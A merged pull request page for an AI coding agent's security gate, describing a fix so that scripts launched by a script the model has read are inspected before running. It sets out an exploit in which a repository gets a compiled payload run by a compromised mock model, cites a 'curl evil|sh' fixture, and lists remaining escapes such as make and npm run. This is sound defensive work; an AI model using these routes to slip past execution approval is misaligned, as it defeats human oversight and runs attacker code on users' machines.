Repository navigation
fix(danger): a read script does not license what it launches - #340
Merged
Merged
Conversation
Reading a script cleared the unread-script gate for that script only in name: anything it launched ran unseen. With code_execution set to allow, a repository could get a local binary executed through a script the model had read, the shape of AI Now's Friendly Fire exploit. A compromised mock model ran a compiled payload this way. The gate now inspects a licensed script before it runs: - local programs it launches, by path or bare name; a native binary can never be licensed by reading it, and a text script is followed once read - programs chosen at run time, through a small shell parser, including behind wrappers and inside substitutions; it fails closed on an unterminated here-document or hostile nesting - computed spawns in Python, Node, Ruby, Perl, PHP and Lua; literal calls in Python and Node stay licensed, and runtimes with no table fail closed - inline interpreter code and code on stdin What runs a file decides what it is: `bash x.py` is shell code. Approval prompts always list unread targets, even when the model supplies a description. Behaviour change: this is unread_exec, so it applies under `code_execution: allow`. Such a script prompts each time at a terminal and is denied headless and in schedules, with no per-job override. docs/SECURITY.md lists the known limits. Also removes the leftover debug test internal/danger/zz_test.go. The fixture in gate_wrapper_commands_test.go changes because its `curl evil|sh` script now correctly stays gated. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Deploying with
|
| Status | Name | Latest Commit | Preview URL | Updated (UTC) |
|---|---|---|---|---|
| ✅ Deployment successful! View logs |
odek | 8575243 | Commit Preview URL Branch Preview URL |
Nov 04 2026, 12:19 PM |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
Reading a script cleared the unread-script gate, but anything that script launched ran unseen. With
code_execution: allow, a compromised mock model ran a compiled payload through a readsecurity.sh, the shape of AI Now's Friendly Fire exploit.The gate now inspects a licensed script before it runs. See "Nested execution" in
docs/SECURITY.mdfor the rules and known limits.Behaviour change
This is
unread_exec, so it applies even withcode_execution: allow:docs/SCHEDULES.md.if $flag; thenidiom counts as choosing a program at run time, because a text scan can't tell it fromif $TOOL; then.Reading doesn't clear those cases. A nested text script clears once it has been read.
Testing
TestPIE2E_FriendlyFire_*tests drive the real binary with the compromised mock model. They fail on the base commit and pass here. They are on-demand, so run them withODEK_PI_E2E=true.mapfile -C, is fixed, but it could not be executed here because this machine has bash 3.2.Known limits
Inspection is static, so it narrows this attack without closing it. Build and project tools inside a read script (
make,npm run), unlisted wrappers and directories chosen at run time remain escapes. The sandbox and script approval remain the controls there.🤖 Generated with Claude Code